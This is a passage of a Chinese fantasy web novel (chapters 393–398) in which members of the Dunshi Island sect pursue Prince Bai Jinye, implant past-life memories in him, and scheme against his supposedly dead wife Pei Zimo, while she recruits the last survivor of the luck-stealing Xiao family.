“哥。”裴子衿皱起眉头,一脸的不情愿,“总之……她现在不在,那我们直接带他回遁世岛,她到时候要是想找麻烦,那就直接来遁世岛,我可不信,她还敢回来!” “没事。”裴子轩安慰道,“若是问题不大,你先带着他回遁世岛,我在这边再呆一段时间,看看如果他走了,她会不会出现。能出现就最好,这一次解决掉,起码能免了很多年的担忧。” “我也想一劳永逸。”裴子衿捏着衣角,“可什么时候才能啊?” 说到这个,裴子轩的声音发冷,“若不是地府有人庇护她,我早就把她碎尸万段让她魂魄飞散,又怎么会拖拖沓沓这么多年?” 裴子衿眯了眯眼,“一个众叛亲离的不肖子孙,也不知道怎么就得了地府青眼。地府也是吃饱了撑的,我们自己家的事,也非要横插一脚!” 裴子轩转头看了看她,自知有些事她是不知道的,他也就没再多说,“放心,反正如今已经找到人了,这一次咱们好好准备,绝对不会再出什么纰漏了。” 裴子衿点点头,没再说话。 * 估摸着是有那三个人帮忙,猎场里的白狐和火狐就像是自杀一样的往白锦夜的箭上撞,这一下把白风御开心得不行,本来还想着做条披肩就好了,现在看起来做披风都绰绰有余,便拉着白锦夜就说晚上一定要多喝两杯。 因为打的确实不少,皇后一个人肯定用不完,白锦夜也就跟宫人说,到时每个颜色再做一条披肩送到他府上。 白风御嘴角的笑容僵了一下,这皮料再做两条披肩绰绰有余,可是……人都不在府上了,做这个有什么用?看到了心里不堵着难受么?不过他也只是抬手拍了拍白锦夜的肩膀,没有说话。 晚上白风御设宴,宴席前,他也直白地告诉了白锦夜之前遁世岛的人问起他婚配的情况,说那裴子衿对他应该是很感兴趣,让他多加小心,毕竟对方都是有术法的人,他可别着了道。 有了白风御的提醒,白锦夜也确实发现裴子衿会经常朝他看过来,即便是目光对视,她也没有丝毫害羞和躲避,反倒是对着他微笑。 白锦夜拧了拧眉,借口出去透透气,便到了花园。 不出所料,裴子衿也果然跟了上来。 白锦夜转身看着她,跟她保持着距离,“裴姑娘有话跟本王说?” “王爷与皇上的兄弟感情很好?”裴子衿开口问道。 “怎么?”白锦夜皱起眉头。 “我曾经听说,这些国家皇室之间尔虞我诈,兄弟姐妹之间很少有真正的亲情,看到你和皇上之间的关系,倒是和我听说的这些不太一样。”裴子衿说着顿了顿,又继续道,“这天风国大概还有三十几年的国运便要覆灭了,虽然你皇兄看起来圣明,但是也抵不住有强国崛起。” 白锦夜眯起眼,没有说话。 “但是,我可以帮你们。我可以让你这位皇兄不必成为亡国之君,我可以帮天风国改国运,你想要几百年还是上千年都好,我也可以让天风国成为这片土地上的第一强国。”裴子衿看着白锦夜道。 “条件呢?”白锦夜立刻问道。 裴子衿转过身,低头看着眼前的花丛,低声道,“只要你愿意跟我去遁世岛。” 白锦夜盯着裴子衿看了会,才轻笑一声,“本王甚至都不知道那是什么地方。” “遁世岛是这世上最好的地方。”裴子衿赶紧介绍,“那里没有纷争没有战火,人人和睦友善,每个人都可以修习术法,可以长生不老,甚至可以成仙,我们贴的告示都是真的,我们真的有可以让人成仙的仙丹。” “可本王的亲人都在此处,本王是天风国的肃亲王,又怎么会轻易离开?”白锦夜又道。 “我可以安顿好所有人,让他们一生无病无灾,能得善终,天风国到时国运强盛,也不需要你再守边征战,不好么?”裴子衿开口问道,“或者,你想要做什么,我都可以帮你安排好,而你只需要跟我去遁世岛,完全不用担心任何事。” 她说着打量了白锦夜一眼,继续道,“我知道,你现在的身体有一些变化,你自己也应该清楚,不管没关系,等到了遁世岛,我会想办法帮你解除这些。” 白锦夜转过身,看向远处,像是在思考什么,隔了会才问,“既然你们有让人成仙的方法和仙丹,你自己为什么没有成仙?” “成仙之后,无欲无求,可我还有心愿。”裴子衿说着上前一步,抬起手,拉住了白锦夜袖口的一角,“我一直在等你,等你到了遁世岛,我们可以一起成仙。” “这听起来……确实很有诱惑力。”白锦夜垂下眼,“那为什么是本王?” “因为我们早有几世情缘,本来在你的魂魄上有我们打下的印迹,你若是转世,我们会马上知道,可是有人抹掉了你魂魄上的印迹,我已经找了你很久很久了,久到现在的你可能都不相信。”裴子衿说着轻轻笑了一声,“但好在,现在终于找到你了。” “本王不信这些。”白锦夜甩开裴子衿的手,往旁边退了几步,“也不会跟你去遁世岛,这些话你也不必再提起了。”说完他便要离开。 裴子衿赶紧拦住他的去路,“你只是忘记了,等到了遁世岛,你修习术法之后,会逐渐想起来的。” 白锦夜的脚步顿了下,他转眼看向裴子衿。 裴子墨一直不肯教习他术法。 曾经在琼华山的时候,裴子墨说过,在他的前几世,他也有相爱的女子。 所以,裴子墨早就知道什么么? 他的手握成拳,半响才道,“既然已经是前世,便与本王的这一世没关了,不就是不受前世所累,人才会喝孟婆汤忘却前尘么?又何必再想起来?” “不是的,你是被迫的。”裴子衿上前一步抓住他的胳膊,“是有人把你带到地府,有人抹掉了你魂魄上的印迹,有人强迫你喝下孟婆汤的,那些都不是你自愿的!” “哦?”白锦夜看向她,“是谁呢?” “……”裴子衿吸了口气,终于咬了咬牙,抬手按上白锦夜的眉心。 瞬间大量不属于白锦夜的记忆涌进他的脑海! 第393章 是她抢了我的未婚夫! 白锦夜脑海中一阵阵刺痛,努力地想要保持清醒,可还是眼睛一闭晕了过去。 白风御之前早有要求,这些遁世岛的人,他们都会术法,如果他让人偷偷盯着,肯定会被他们发现,于是他也就干脆光明正大的让宫人不远不近地跟着遁世岛的每一个人,也不用刻意藏匿身影,但他们一旦有什么异常,就要立刻通知上报。 裴子衿出门之后,每隔一段,就有一个宫人注意她的行踪。 见到她和白锦夜在说话,自然也就没有再上前。 不过片刻后,却见白锦夜捂着额头倒在了地上,而在这之前裴子衿分明抬手碰了一下他的额头。 这几乎可以断定就是裴子衿做了什么了。 于是便赶紧跑回宴会殿,把这件事告知了白风御。 若是换了别人,白风御估摸着也就是大事化小的处理,但对方是白锦夜,那就不一样了,只得立刻起身往花园走。 裴子轩也是知道裴子衿去找白锦夜了,他也没有拦着,如今白锦夜什么都忘了,他们总要慢慢的接触交流。 可是他们两个人一直没回来,他也就留意了宫人急匆匆来找白风御的事情,见白风御神色一凛,起身离开,他也就一起跟了上去。 到了花园里,便见到白锦夜躺在地上,裴子衿蹲在他的身边,试图在唤醒他。 听到脚步声,裴子衿转头看过来,直接越过走在前面的白风御,看向他身后的裴子轩,“哥,他晕过去了。” “发生什么事了?”白风御停下脚步,见白锦夜的胸口还在起伏,呼吸也算是平稳,便开口问道。 裴子衿拧了下眉,没有回答白风御的问题。 在他们的眼里,若是放在平常,像是白风御这样的普通人他们连看都懒得看一眼,若不是因为白锦夜,他们根本不会跟这天风国的人有任何的交流。 如今他们还要在这呆一段时间,裴子轩也要比裴子衿世故些,便上前一步,开口道,“皇上放心,我来看看。”说完便走到裴子衿的身边蹲下,大致检查了下,白锦夜看起来倒是一切正常,只不过却也没有醒过来的迹象,他转头看向裴子衿。 裴子衿微微抿了下唇,低声道,“我跟他聊了会,但是他无论如何都不相信也不接受前世的事情,我就……给他灌输了一些记忆。” 白风御看着裴子衿跟裴子轩说话,他虽然站得很近,但是也只能看到她的嘴唇一开一合,却完全听不到任何声音,今天宴席上也还有其他人,总不能闹得人尽皆知,便开口道,“先送肃亲王到偏殿,再传御医过来。” “不必。”裴子轩转头道,顿了顿又补充,“我的意思是不用传御医,我知道怎么回事了,他没什么事,休息一会就能醒过来。” “那便好。”白风御抬手示意身边的侍卫背起白锦夜,几人一起往偏殿走。 裴子衿和裴子轩走在后面,依旧是说着别人听不见的话。 “你太鲁莽了,这也不是一朝一夕的事情,你急什么?”裴子轩拧着眉,脸色有些难看,“你明知道他的身体被改造过,到底是哪些变化,我们根本不知道,你这样冒然刺激他,谁知道会引起什么样的变化?我们首先得弄清楚,她到底对他做过什么。” “可如果他愿意自己告诉我们,那不是更好么?只要他能想起以前的事情,一定会站在我们这边的。”裴子衿显然在这件事上并不认同裴子轩的做法。 “你已经等了这么多年了,人都已经找到了,还差这么几天么?”裴子轩忍不住责备道,“早知道你还是这样,就不该带你出来,你再遇上她,依旧一点胜算都没有!” “是,是!”说到这个,裴子衿的脸色就更加难看,“她是所有人眼里的天才,从小就是我们这些人的楷模,小的时候我们就被她压着一头,只要有她在的地方,那些长老们看都不会看我们一眼!” “她术法高,她是长老眼里的宝贝疙瘩,她就可以抢我的未婚夫么?她也可以早就说,又为什么非要等到我大婚的那天?让我成了全族的笑话!” “明明是我和他的婚事先定下来,可她闹事之后,那些长老说什么?说让我不要计较,会再帮我找合适的夫婿?长老们都这样维护她,但结果呢?结果她还不是背叛了遁世岛?” “确实,每一次遇到她,我都败得很惨,你觉得我不如她也正常,反正这不是大家早就知道的么?从小长老们就让我向她学,又告诉我们不要跟她比。我以前的确觉得有些事情真的是靠天份,比不了就是比不了,但是她不该抢我的未婚夫!” “你激动什么?”裴子轩拧起眉,“你下次见到她,也还要这么激动,三言两语就被她激怒,然后再做出什么伤害……”他说着往白锦夜的方向看了一眼,“子衿,我是你哥哥,我不会害你,我也希望你幸福。你也应该知道,我这次为了能带着你一起出来,允诺了那些长老什么,我只是希望你遇到事情能够沉着冷静,我不可能永远在你身边,不能永远保护你。” “我知道了。”裴子衿垂下眼,顿了顿才道,“你先想办法让他醒过来吧。” * 白锦夜看到很多画面。 画面里的人,基本上就是他和裴子衿。 他们从小相识,一起修习术法,后来几个长辈做主给他们定了婚事。 因为这记忆是裴子衿的,所以都是以裴子衿的视角来看所有的事情,婚事定了之后,她便安心待嫁。 婚礼也如期举行,可拜堂的时候,却有人出现破坏了婚事。 出现的人,也并不是别人,就是裴子墨。 婚事被取消,裴子衿每日闭门不出,以泪洗面。 后来她想尽了办法,终于约他见了一面,但却被裴子墨重伤昏迷。 等她醒来的时候,才知道裴子墨已经带着他离开了遁世岛。 她一直在找他,在等他回来。 白锦夜睁开眼睛,在裴子衿的记忆里,裴子墨便是破坏他们婚事的人,他能清晰地感受到她对裴子墨的恨意。 “醒了,醒了,皇上,肃亲王醒了!”一旁的太监见白锦夜睁开眼睛,便赶紧对着白风御秉道。 第394章 多管闲事 白风御转头看了看外面的天色,都已经快要亮天了,他笑着看向裴子轩,“裴公子果然没有骗朕,说一会能醒过来,果然一会就醒过来了。” 裴子轩的神色微微一赧,裴子衿给白锦夜灌输了自己的记忆,他一下子无法处理这么多多的信息,自然就晕了过去。 他本来以为稍稍动动手,隔绝这些记忆,就可以让白锦夜醒过来,可哪知道他不管做任何事都没有用。 这种情况按理说是绝对不可能发生的,除非……早就有人对白锦夜做过手脚。 所以白锦夜这差不多是昏迷了一夜才醒过来,又哪是他之前说的“一会?” 白风御这么说,分明就是在嘲讽他。 只是如今事实摆在这,白锦夜又是因为裴子衿才昏迷,他也就没有搭这话茬,全当没听到。 白风御站起身,走到床边,简单地问了白锦夜几句,见他没什么异常,便打了个哈欠,“那朕便回去歇着了。”说完又看向裴子轩,“裴公子,既然肃亲王已经没事了,你们兄妹二人也早点休息吧。” 裴子衿看了看白锦夜,想要说什么,可却被裴子轩拉住胳膊,“是,那我们便也回去了。” “裴姑娘留步。”白锦夜却突然出声道,“本王有些话想问你。” 裴子衿的眼底闪过一抹欣喜,径直答应了下来。 白风御转头看了看白锦夜,见他递给自己一个放心的眼神,便先行离开了。 裴子轩也走到了门外等着,房间里只剩下白锦夜和裴子衿两个人。 还不等白锦夜开口问什么,裴子衿就先道,“那些记忆,你应该都看过了,都是真的,都是曾经发生在我们身上的事情……” “那个女人是谁?”白锦夜打断裴子衿的话,开口问道。 裴子衿沉默了一会,才转身走到椅子边坐下,像是想了会才道,“是我的姐姐,裴子墨。” 白锦夜深吸了一口气,即便他早就知道这样的回答,可听到裴子衿的确认,却还是让他几乎气息一滞,“那她为何要破坏你的婚事?” “我们的爹爹,是遁世岛的岛主,除了岛主之外,还有十位长老。她是长女,从她出生的那一刻,无论是爹爹也好,十位长老也好,都对她极好,把她当做下一任岛主来培养,所以在遁世岛,她横行无忌,我们这些弟妹全都要看她的脸色过日子。” “从小到大,也没有她想要却得不到的东西,除了——你。” “那时,你是六长老的小儿子,起初你也不是家里重点培养的子孙,我们一起长大,感情很好,也定下了婚事。但后来,你的术法突飞猛进,成了我们这一辈的佼佼者,她就看上了你。” “你拒绝了她很多次,她不甘心,才会大闹我们的婚事。” “后来,她把你从遁世岛带走,可她也根本不是为了跟你在一起。我和哥哥一直在找你,我一直想,如果等我找到你的时候,你已经接受了她,并且生活幸福,我可以消失,但并没有,我们找到的时候,你已经死了。” “一离开遁世岛,她就把你杀了,她根本不喜欢你,她只是不接受得不到自己看上的东西或者人,得到了,对她来说就已经没有任何意义了。” “我们想找到你的魂魄,或者找到你的转世也好,然后把你带回遁世岛,可是我们找不到,有人早在地府那边做好了安排,每次我们找到你的时候,都晚了一步。这一次我们终于来得及,她如今不在你身边,不会再伤害你,只要我们马上回遁世岛,她都不会再有机会伤害你了!” 白锦夜轻轻眯起眼,“你说了她也是遁世岛的人,又得长老们喜欢,在遁世岛横行,如果你说的都是真的对,本王若是真的跟你去了遁世岛,岂不是正好撞在她手上?” “不会的,她不会再回遁世岛了。”裴子衿急道,“现在,只有遁世岛对你来说是最安全的。” “哦?”白锦夜挑了挑眉,“那你这话不是前后矛盾么?” 裴子衿捏着衣角,犹豫了半响才道,“她背叛了遁世岛,只要她回去,就会被诛杀。” “你们遁世岛这么厉害,又有那么多长老,对于背叛遁世岛的人,还用得着等她回去么?如果你们连这个都做不到,那本王觉得,就算她回了遁世岛,你们也一样拿她没办法。”白锦夜轻笑一声。 “不是的,是因为……” 裴子衿的话还没说出来,房间的门就被人推开,裴子轩走了进来。 他盯着白锦夜,半响后才转头看向裴子衿,“别说了。” “哥。”裴子衿站起来,“有些事他总该知道。” “那就等他该知道的时候再知道,他现在根本不相信你,只是在套你的话。”裴子轩说着皱起眉头,“以他身体现在的情况,早就跟裴子墨见过了,有些事恐怕裴子墨也对他说过了,只不过说的可能跟你说的不一样而已。” 裴子衿拧着眉,有些心痛地看向白锦夜,“你别听裴子墨的话,她根本不是什么好人,上一世她便滥杀无辜,遁世岛不知道死了多少人,才把她镇压在阵法之下,你大哥和两个姐姐也因此而死,如今六长老身边只剩下你二哥,六长老也每日酗酒,不理世事。只要……只要你跟我回遁世岛,就会知道我说的都是真的。” 白锦夜从床上站起身,往前走了几步,没理会裴子衿的话,而是看向裴子轩,“知道本王会从你妹妹嘴里套话,那你就看好她,别再让她乱跑到本王面前,说不定下一次没有你的阻止,就会说出什么不得了的秘密了。” 说完,他迈步就往外面走。 裴子衿有些诧异地看着白锦夜的背影,完全没想到在看过那些记忆后,他还能说出这样的话,她下意识的要上前,却被裴子轩拉住。 裴子轩也转过身,“你到底是你,还是被人控制着,现在你自己能分辨出来么?” 白锦夜的脚步顿了下,看着门外轻轻眯了下眼,“本王的事,只要本王心甘情愿,其他人哪怕说只半个字……那也都是多管闲事。” 第395章 我知道你会来 裴子衿大概完全没想到会是眼前的这种情况,急得眼圈都红了,“哥,那现在怎么办啊?” “早就跟你说了急不得,你这性子……”裴子轩叹了口气,“反正咱们暂时还要留在这里,他是王爷,一举一动都有人注意,如果裴子墨真的在他身边出现过,不会有人没见过,就算找不到裴子墨,也大概能知道在他身上发生过什么事。” 裴子衿微微抿了抿唇,“有办法唤醒他本来的记忆么?” “刚才他昏迷的时候我尝试过。”裴子轩皱起眉头,“但是不行。” “裴子墨到底做了什么啊?”裴子衿捏着衣角,“前几世也不是这样……” 裴子轩转头看了她一眼,“这几天你先少往他身边凑,等我查清楚是怎么回事,再做打算。” * 裴子轩和裴子衿在盛京中看似四处游玩,实则开始私下打探有关白锦夜的事情的时候,裴子墨已经带着鬼卿到了临漳。 打探后,便到了这一带最大的寺庙大昭寺的山脚。 “你确定,你也上去?”裴子墨转头看向鬼卿,萧尺寒如今是萧家唯一剩下的人,若是已经有了预见未来的能力,那也许早晚会知道鬼卿与萧家的仇怨。 现在鬼卿和萧尺寒碰面,并不见得是好事。 “我跟你一起上去,但是我不见他。”鬼卿轻轻皱了下眉头,“如今遁世岛的人已经来了,我和你最好不要分开太远。” 裴子墨点点头,和鬼卿一起上了山。 在大殿前烧了香,裴子墨四处看了看,仔细地感受了下萧尺寒的气息,留了鬼卿在大殿旁的小亭子里等她,便朝着寺庙的东北角走去。 路上向小师傅打探了一下,东北角是一处三层的塔楼,是以前的藏经阁,不过后来经书增多,寺庙扩建,就建了新的藏经阁。 旧的藏经阁便废弃了,如今空置着并没有什么用处。 “不过……施主最好不要去那边。”小和尚犹豫了一下,提醒道。 “为什么?”裴子墨开口问。 小和尚想了半响,四下看了看没什么人,才低声道,“我也是听人说的,有个杀业很重的人来了寺里出家,住持本来不想收的,但又说那人身上多少有佛缘,才勉为其难的收下了,自他来了以后,就一直负责打扫那处旧藏经阁。” “住持不准他离开那,就算偶尔讲经,也是住持去旧藏经阁单独给他讲。住持说,他离开旧藏经阁之日,就是他离开佛门之时。” 小和尚说完挠了挠头,双手合十念了个佛偈,“施主,我不该在背后讲人是非的,但你还是最好别去那里了。” 说完施了一礼,赶紧跑开了。 裴子墨皱眉站了会,才继续往前走。 这处藏经阁虽然废弃,但是看样子也经常有人维护,倒也不见有残败之相。 进了门,里面也只剩下零星的书架靠墙而立,整个一楼空空荡荡。 裴子墨上了台阶,台阶像是也刚刚翻新,没什么年久失修吱吱呀呀的声音。 二楼连书架都没有,比一楼更加空旷。 只有一个穿着灰色僧袍的人拿着扫帚在扫地。 裴子墨垂眼看了看地面,地面干干净净,丝毫灰尘都没有,但对方依旧极其认真的在做着这件事。 她在楼梯口站了片刻,才继续往前走。 萧尺寒的手也停了下来,转身看过来,“我知道你会来,就是不知道你会在什么时候来。”他说着转头看向窗外,“现在是什么时候了?” 裴子墨皱了下眉,才道,“刚过午时。” “你知道我问的不是这个。”萧尺寒轻笑了一声,不过也不在意,把扫帚放在一边,盘膝坐下,“如今我可没什么能招待你的。” 裴子墨走过去,在他的对面坐下,“你在这里习惯么?有法号了么?” 萧尺寒摸了摸自己的头发,“没有法号,住持说我早晚要离开佛门,法号要着无用,就连头发都懒得给我剃。” 裴子墨没有说话。 沉默了会,萧尺寒才看着她问,“你早就知道,是么?” “你指哪件事?”裴子墨反问。 “所有的事。”萧尺寒盯着她,眼都不眨一下,“从阿翎找上你开始,萧家的一切,你全都知道,是么?” “我那时只是知道,萧家的结局不会太好。”裴子墨说着顿了顿,“至于更详细的事情,我也是后来才知道的。” “后来?”萧尺寒从怀里摸出当时在盛京城外分别时,裴子墨给他的符咒,“你给我这符咒的时候,是不是就知道了?说是为了我家人的安全,你催促我尽快离京,实际上是因为你知道萧家要出事,你只保下了我一个人。” “是。”裴子墨点点头。 “呵。”萧尺寒轻笑一声,“果然。” “你等我来,就是为了求证这一点么?”裴子墨又问。 “不止。”萧尺寒摇了摇头,“那个杀了萧家全家的人,你是不是认识?”说完,也不等裴子墨多说,便继续道,“他来找过我,他的术法比我高出很多,我躺在那完全动不了,他差一点就杀了我,可他看到了这个符咒,就离开了。” “我一开始,只以为这符咒是压制我天煞孤星的命,没想到……是因为这个。” “萧家这些年,大多与人为善,有时候也许为了家族的利益,做过一些不太道德的事情,但罪不至被灭满门。” “我想不通,萧家到底是与谁结下这么大的深仇大恨,若真是有这样的仇家,我爷爷爹爹不会完全没有告知过我。” “我也想不通,对方看到你的符咒就放我一条生路,那为什么……你不能提前告知萧家,让我们有所准备?” “如果知道最终我的家人并不是因为我这天煞孤星的命而死,哪怕明知道不是那个人的对手,但起码我也可以尽力的保护家人,即便是死了,那也是跟我的家人在一起。” 裴子墨轻轻叹了一口气,“若是我告诉你缘由,你一定能接受和想通么?” 第396章 这世上的悲事,哪一件不残忍呢? “我也不知道。”萧尺寒摇了摇头,“但起码,我也不算是一无所知。” “萧家的气运在千年以前,其实就断了。”裴子墨转头看向窗外,“你们是‘神目公’一脉的传人,有预见未来的能力,当时你们有几任家主,因为短暂地见到了未来的一些画面,得知‘十一公’的血脉势必衰落,其他家族还好,虽然衰落但不至于绝种,可‘神目公’一脉不一样,一个人都活不下来。” “他们极力地想要避免这件事的发生,于是采用了很极端的手段。他们认为,只要消灭其他十脉,那九天玄女的血统归一,他们不但能延续下来,甚至有可能唤醒九天玄女,甚至继承九天玄女的全部能力。” “于是他们精心策划了布局,找了一个‘十一公’血脉之外的人,逼迫他帮他们做事。他们想达到目的,可又想留个好名声。” “可惜,如意算盘也没有打响,他们逼急了那个人,那个人几乎血洗了‘十一公’的每一支,对于其他十脉也多少算是留情,但是对于‘神目公’一脉,他就是不想留一个活口。” “其实,这就是‘神目公’自己预见到的未来。是他们引狼入室,自己把自己引上了末路。” “后来有人出现,封印了那个人。‘十一公’的人才得以喘息。若是此时萧家收手,另寻他法,或许还能保留些气运,可是他们却想趁着其他十脉同样凋敝,对其他人赶尽杀绝。好在那之后其他十脉各自离开,萧家找了多年,一无所获。” “而为了能让家族延续,萧家开始借运。” “借的,便是周围所有人的运势,但凡和你们萧家往来之人,都会被你们借运,包括住在你们周围的邻居。” “被借运之人,若是不再跟萧家有瓜葛,也许能保住一条命,轻则破财免灾,重则大病一场,从此人生变得穷困潦倒,一辈子都翻不了身。而那些跟萧家走动但凡频繁一些的,无一不是凄惨下场,大多家破人亡。” “也就是‘十一公’凋零后,修习术法的人越来越少,萧家也经常搬家,才没有被人发现,不然做出这样缺德的事,早就被人群起攻之。” “你们萧家已经多延续了千年,而这些说好听是借运,实际上就是偷。萧家人但凡到了地府,都要受无尽的刑罚,以偿还这些罪孽。” “你们家的术法传下来的越来越少,到你爷爷这里,甚至连借运的阵法都维护不好了。如今这样的结局,在我眼里,只是一个了结。了结掉萧家的罪孽,也了结了那个人心里的恨。我知道,这对你来说很残忍。” “可这世上的悲事,哪一件不残忍呢?对那些被萧家害得凄凉一生的人来说,不残忍么?对那些因为萧家家破人亡的人来说,不残忍么??” “这些都是因果循环,没什么人能逃脱。” 萧尺寒垂眼看着自己僧袍的下摆,眼神晦暗不明,“这些事,你又是如何知道?” 裴子墨轻笑了一声,没有说更多的事,只是简单解释,“你们曾经有位家主,叫萧玲珑,不久之前,她转世的魂魄撞进了我手里。况且你也猜出来了,我确实认识那个要杀你的人,这世上本就没有什么秘密。” “既然都是罪孽,你为什么又要让我活下来?”萧尺寒皱起眉头。 “如今萧家的人,都在地府受刑,刑期多久没人知道,来世如何更没人知道。但你还有机会救他们于水火。”裴子墨从窗外收回目光,“只要你愿意,你们就还有机会,再做亲人。” 闻言萧尺寒抬起头,“我?我除了每日诵经念佛,为他们祈福,我还能做什么?” “你这诵经念佛对他们来说,可一点用处没有。”裴子墨笑了笑,站起来走到窗边,把半开的窗子彻底推开,看着不远处急匆匆的走来的大和尚,开口道,“只要你帮地府做一件事,地府就欠你个人情,到时候你的要求,他们都会满足。” 萧尺寒沉默了会,斟酌了半响,才问,“怎么帮?” “有人来找你了,恐怕不太方便说话了。”裴子墨说着走到另外一扇窗前,“明日天黑前,临漳城里最大的客栈,我在那等你,但我只能等到后天一早,如果你没出现,以后萧家的事,我都不会再管。” 说完她便从窗子跳出去离开了。 片刻后,住持就到了旧藏经阁,上了二楼的时候,没见到萧尺寒和以往一样在扫地,脸色顿时难看了几分,“有人来见过你了。” 萧尺寒从窗子上收回目光,站起身,对着住持施了一礼,“是。” “哎。”住持双手合十闭起眼念了声佛号,“该来的总要来,挡也挡不住。” “住持,我明日便要下山了。”萧尺寒又道。 住持睁眼看向他,“你可想好了,你这一去,便再也回不了头了,佛门再无处容你,这世间……恐怕也都再没有你的立足之地。” “就算有,又能何如?”萧尺寒环顾四周,“在这一片空空荡荡的旧楼里,了此残生么?那还不如做些想做的事情。” 沉默了会,住持才开了口,“你有自己的选择,老衲多言无益。只是相识一场,老衲还是有几句话要交代给你。” “住持请说。”萧尺寒点点头。 “这世上,最可怕的,不是有人比你厉害,比你聪明,更不是有什么深仇大恨的仇家,而是人心。欲望会遮蔽良知,让人心变得险恶。有些人看起来做了很多恶事,但却不一定是坏人,有些与人温和,假装良善,却反倒是这世上最残忍的恶人。” “你以后的路,无法避免遇到这两种人,擦亮眼睛,成佛成魔一念之间。” 住持说了又叹了口气,继续道,“不要伤害无辜弱小,做正确的事情,多积德行善,也许……你还有回头路可以走。” 萧尺寒垂下眼,顿了顿,才笑着对住持又施了一礼,“多谢住持赠言。” “明日一早,你便出寺下山吧,不要惊动寺里的人,路上……一切小心。”住持说完,打量了萧尺寒一眼,又朝裴子墨离开的窗子瞥了下,转身离开。 听着住持离开的脚步声,萧尺寒微微皱起眉头,起初裴子墨说只能等到后天一早,他本来还以为可能是料到寺里的人不让他离开,所以会耽搁时间。 可是现在住持并没有阻止他离开,又说路上一切小心,难道路上会遇到什么事么? 第397章 她真的愿意见到他过得好么? 裴子轩在京中打探了几天,最后听说这京城的普宁街以前有一个算卦特别灵验的人,这个人是左辞的表弟。 而左辞恰好就是肃亲王府的管家。 当天左辞在逛街的时候,就被裴子轩截到了小胡同。 提到普宁街算卦的裴先生,左辞就忍不住开始哭。 哭得裴子轩都惊了。 之后从哭泣的左辞嘴里,断断续续的知道,那算卦的裴先生就是白锦夜之前的王妃裴清歌,后来她在帮萧家解决一个麻烦的时候,死了。 左辞也像是打开了话匣子,说他家王爷和王妃多么的伉俪情深,王妃对王府的人有多好,这京城上上下下不少人都得到过王妃的帮助。 听裴子轩打听这个,便问是不是以前他也找裴先生算过卦,说现在人已经死了,他若是真的有心,便可以去墓前拜祭一番。 裴子轩虽然感觉这个人大概率就是裴子墨,但是他可不相信她会死,于是当即便往左辞说的墓地赶去。 左辞擦了擦眼泪,可还是无论如何都止不住。 最后干脆冲到一户人家,给主人家塞了银票,舀了水拼命的洗脸。 冷鸢站在不远处看着他,“若是不知道的,还真以为你哭得多伤心。” 左辞终于洗好了眼睛,又打了几个喷嚏,冲着冷鸢哼哼了几声,“你懂什么,我刚开始知道王妃不在了的时候,天天可是以泪洗面的。” 冷鸢眯起眼,转头看了看裴子轩离开的方向,“你怎么知道他会来找你?” “我怎么知道?我当然不知道。”左辞一边走一边道,“是王爷说的,说他们肯定会在京中打探王妃的事情,不少事情都是这段时间我安排人散出去的,王妃在普宁街算卦的时候,说是我表弟,那他们肯定会找我的。” “他看起来和常人无异,像是不会术法。”冷鸢开口道,“但是术法一定很高,才能这样隐匿。刚才我见他要对你施法,手已经开始捏印诀了,不过……还好你哭得及时。” 左辞张了张嘴,愣了一下,“那如果他对我施法了,是不是我知道什么都会告诉他?” 冷鸢点点头。 左辞一阵阵后怕,“那怎么办?那你有没有什么办法让我能防备他的术法?” 冷鸢摇了摇头,“他刚才没有施法,应该就不会了。他们这种人,对自己都有无比的自信,相信自己的判断,相信别人不敢骗他们。”她说着嗤笑了一声,顿了顿才看向左辞问道,“你们王爷有没有说,他们为什么要打听圣女的事?” 左辞犹豫了一会,才低声道,“王爷不让我跟你说,他怕你太担心圣女,不能冷静,再做出什么……”说完,见冷鸢凶狠狠地瞪着他,又低声弱弱地问,“你只要答应我知道了之后不会做什么冲动的事,不会破坏王爷的计划,我就告诉你。” “好。”冷鸢应了一声,有些不屑地道,“你们王爷能有什么计划?” “他们……是王妃的仇人,好像是要杀了王妃。”左辞压低了声音,“王爷觉得王妃那边大概也有什么应对方式,现在就是在用各种真真假假的信息迷惑他们,拖延时间,让王妃那边能有足够的时间准备好。” 冷鸢眯起眼睛,手也握成拳头。 “你可千万别冲动。”左辞赶紧拉住冷鸢的胳膊,“如今这世上,恐怕没有你比你更了解王妃的事,圣殿那边的事情你也都知道,若是他们盯上你,那王妃就危险了。所以之后咱们都呆在王府里,哪也不去了。” 冷鸢沉默了一会,点点头,“放心吧,我不会添乱的。” * 裴子轩到了墓地的时候,就见到白锦夜坐在墓前,身前放着一个酒坛,他轻轻皱了下眉,“王爷看样子,在京中也没太多的政事要处理。” 白锦夜看了他一眼,抬手挥了挥,示意司空退下,随即才道,“本王这段时间一直在外,回了京,自然要来拜祭。”说完转头看向他,“你是来找本王?还是特意来拜祭本王王妃?” 裴子轩没有回答问题,袖口微微抖了下,一根香从袖子落到了手里,他往前走了几步,手在香头上抹了一下,香就被点燃了,他把香插在墓前,眯眼看了会香上飘出来的烟雾,顿了顿才问,“我听说,王妃是帮人忙的时候,意外身亡,那家是姓……萧?” 白锦夜点点头,“是,那萧家的麻烦比较大,她在处理之前,就大概知道了什么。”他说着轻笑一声,“可她也还是帮了。” 裴子轩沉默了会,“王妃还真是个好人。那不知道那萧家的麻烦是否解决了?如今萧家人在何处?” 白锦夜拿起酒坛喝了一口,“萧家的麻烦,大概只解决了一半,剩下的应该只是暂时压制。那萧家的人,也离开了京城,听说是回了老家宛阳。”说完又问,“你对这个感兴趣?” “我妹妹在意你,而你又这样在意你的王妃,萧家的事没能彻底解决,估计也是她的遗憾,反正我们暂时也不走,闲着也是闲着,顺手解决了就是,这样你大概也少了一件牵挂。”裴子轩继续道。 白锦夜轻笑一声,“本王牵挂的,又何止这一件事?如果你想用这样的事,让本王觉得欠了你们人情,或者会让本王改变主意跟你们一起走,本王劝你尽早死了这条心。” 裴子轩也没解释什么,只是手微微挥了挥,那根他插下的香,突然迅速的燃烧,没一会就变成了一堆香灰,他也收回了目光,“那我就不打扰王爷祭拜亡妻了。” “不送。”白锦夜晃了晃手里的酒坛,见里面没有酒了,随手把酒坛扔到远处。 裴子轩的目光跟着酒坛往远处看了看,才道,“不过,人死灯灭,王爷看开些,若是王妃还活着,大概也不愿意看到你每日借酒浇愁,自然……也希望你过得好。” “是么?”白锦夜轻笑了一声,她真的愿意见到他过得好么? 第398章 这世间任何术法都破不开黄泉路 当天晚上,便有人告知白锦夜,说裴子轩带了一个人出了盛京城,看着路线是朝北去,估摸着是去了宛阳。 “王爷,他们真的相信我们说的了么?”左辞忍不住开口问道。 